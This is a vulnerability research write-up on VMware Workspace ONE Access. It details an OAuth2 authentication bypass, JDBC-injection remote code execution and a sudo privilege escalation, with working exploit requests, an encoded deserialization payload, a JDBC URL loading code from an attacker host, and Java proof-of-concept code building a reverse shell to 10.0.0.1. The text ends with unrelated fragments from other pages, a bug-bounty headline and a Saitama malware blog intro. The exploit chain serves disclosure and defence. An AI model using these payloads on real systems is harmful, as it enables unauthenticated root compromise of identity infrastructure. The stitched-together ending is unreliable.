On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

1. Cisco Identity Services Engine

   This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

2. ForgeRock OpenAM

   This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

3. Oracle Access Manager (OAM)

   Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

4. VMWare Workspace ONE Access

   Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

   The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

1. Heavy use of Spring libraries

   This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

   Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

2. Minimal attack surface

   There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

3. Code quality

   The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.

OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

1. publishCaCert.hzn:

   For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

   #!/bin/sh
   
   #Script to isolate sudo access to just publishing a single file to the trusted certs directory
   
   CERTFILE=$1
   DESTFILE=$(basename $2)
   
   cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
   chmod 644 /etc/ssl/certs/$DESTFILE // 2
   c_rehash > /dev/null
   

2. gatherConfig.hzn:

   For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

   #!/bin/bash
   #
   # Minor: Copyright 2019 VMware, Inc. All rights reserved.
   . /usr/local/horizon/scripts/hzn-bin.inc
   . /usr/local/horizon/scripts/manageTcCfg.inc
   DEBUG_FILE=$1
   
   #...
   
   function gatherConfig()
   {
       printLines
       echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
       #...
       chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
   }
   
   if [ -z "$DEBUG_FILE" ]
   then
       usage
   else
       DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
       gatherConfig
   fi
   

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

1. First, we can grab the activationToken.

   Request:

   POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
   Host: photon-machine
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 0
   

   Response:

   {
    "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
    "_links": {}
   }
   

2. Now, with the activation token let’s get the client_id and client_secret.

   Request:

   POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
   Host: photon-machine
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 168
   
   eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
   

   Response:

   {
    "client_id": "Service__OAuth2Client",
    "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
   }
   

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c [email protected]|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side	Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
2. https://landgrey.me/blog/11/
3. https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu+Yuanzhen & Chen Hongkun.pdf
4. https://github.com/su18/JDBC-Attack
5. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
6. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/

Microsoft Bug Bounty Programs Year in Review: $13.7M in Rewards Read More »

Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama. The developed implementation as well as recordings of the implant are shared on the Fox-IT GitHub.

